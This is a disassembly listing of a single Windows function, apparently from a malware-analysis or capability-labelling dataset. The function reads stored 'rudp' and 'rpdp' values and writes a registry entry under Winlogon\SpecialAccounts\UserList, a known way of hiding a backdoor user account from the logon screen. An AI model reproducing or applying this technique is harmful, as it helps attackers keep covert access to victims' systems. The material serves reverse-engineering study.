Function at 0x40e29a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
pop ecx
lea eax, [ebp - 0x28]
mov edi, 0x55ad18
lea esi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov esi, 0x55ad18
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [0x55ad7c], edi
mov dword [0x55ad70], 0x559cc0
mov dword [0x55ad6c], ebx
call fcn.0040dcbf
test eax, eax
je 0x40e3f4
push str.rudp
lea ecx, [ebp + 8]
call fcn.004036f7
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.00412c67
push eax
mov ecx, 0x55ad74
call fcn.00403549
mov ecx, dword [ebp + 0xc]
call fcn.00405feb
mov ecx, dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0xc], esi
call fcn.00405feb
push str.rpdp
lea ecx, [ebp + 8]
call fcn.004036f7
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.00412c67
mov ebx, 0x55ad78
push eax
mov ecx, ebx
call fcn.00403549
mov ecx, dword [ebp + 0xc]
call fcn.00405feb
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.00405feb
mov ecx, 0x55ad74
call fcn.00403373
test eax, eax
jne 0x40e3cc
mov ecx, ebx
call fcn.00403373
test eax, eax
jne 0x40e3cc
mov ebx, 0x417668
lea ecx, [ebp + 8]
push ebx
call fcn.004036f7
push eax
push ebx
lea ecx, [ebp + 0xc]
call fcn.004036f7
push eax
push 8
lea ecx, [ebp - 0x20]
call fcn.00404c5e
push eax
mov ecx, edi
call fcn.00405044
lea ecx, [ebp - 0x20]
call fcn.00404c3b
mov ecx, dword [ebp + 0xc]
call fcn.00405feb
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.00405feb
jmp 0x40e3ec
push ebx
push 0x55ad74
push 8
lea ecx, [ebp - 0x20]
call fcn.00404c5e
push eax
mov ecx, edi
call fcn.00405044
lea ecx, [ebp - 0x20]
call fcn.00404c3b
xor esi, esi
inc esi
jmp 0x40e4f8
call fcn.00410a3c
cmp eax, 6
jb 0x40e56f
call fcn.004109ed
test eax, eax
jne 0x40e56f
call fcn.0041111b
cmp eax, 1
je 0x40e444
push 0x55ad78
push 0x55ad74
push 1
lea ecx, [ebp - 0x20]
call fcn.00404c5e
push eax
mov ecx, edi
call fcn.00405044
lea ecx, [ebp - 0x20]
call fcn.00404c3b
xor esi, esi
jmp 0x40e4f8
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.004035b9
push eax
mov ecx, 0x55ad74
call fcn.00403549
mov ecx, dword [ebp + 8]
call fcn.00405feb
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.004035b9
mov ebx, 0x55ad78
push eax
mov ecx, ebx
call fcn.00403549
mov ecx, dword [ebp + 8]
call fcn.00405feb
lea eax, [ebp - 0x10]
xor esi, esi
push eax
lea eax, [ebp - 8]
push eax
push esi
push 0xf013f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
push 4
push esi
push dword [0x55ad74]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x55ad74
call fcn.0040d2b8
test eax, eax
jne 0x40e50b
push ebx
push 0x55ad74
push 9
lea ecx, [ebp - 0x20]
call fcn.00404c5e
push eax
mov ecx, edi
call fcn.00405044
lea ecx, [ebp - 0x20]
call fcn.00404c3b
mov edi, 0x55ad18
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
jmp 0x40e59c
push 0x55ad74
push str.rudp
lea ecx, [ebp + 8]
call fcn.004036f7
mov esi, dword [ebp + 0xc]
mov ecx, esi
push eax
call fcn.00412c34
mov ecx, dword [ebp + 8]
call fcn.00405feb
push ebx
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.004036f7
push eax
mov ecx, esi
call fcn.00412c34
mov ecx, dword [ebp + 0xc]
call fcn.00405feb
mov edi, 0x55ad18
mov ecx, 0x55ad30
push edi
push 0x40e187
call fcn.00401f6d
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
inc eax
jmp 0x40e59c
push 0x55ad78
push 0x55ad74
push 2
lea ecx, [ebp - 0x20]
call fcn.00404c5e
push eax
mov ecx, edi
call fcn.00405044
lea ecx, [ebp - 0x20]
call fcn.00404c3b
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc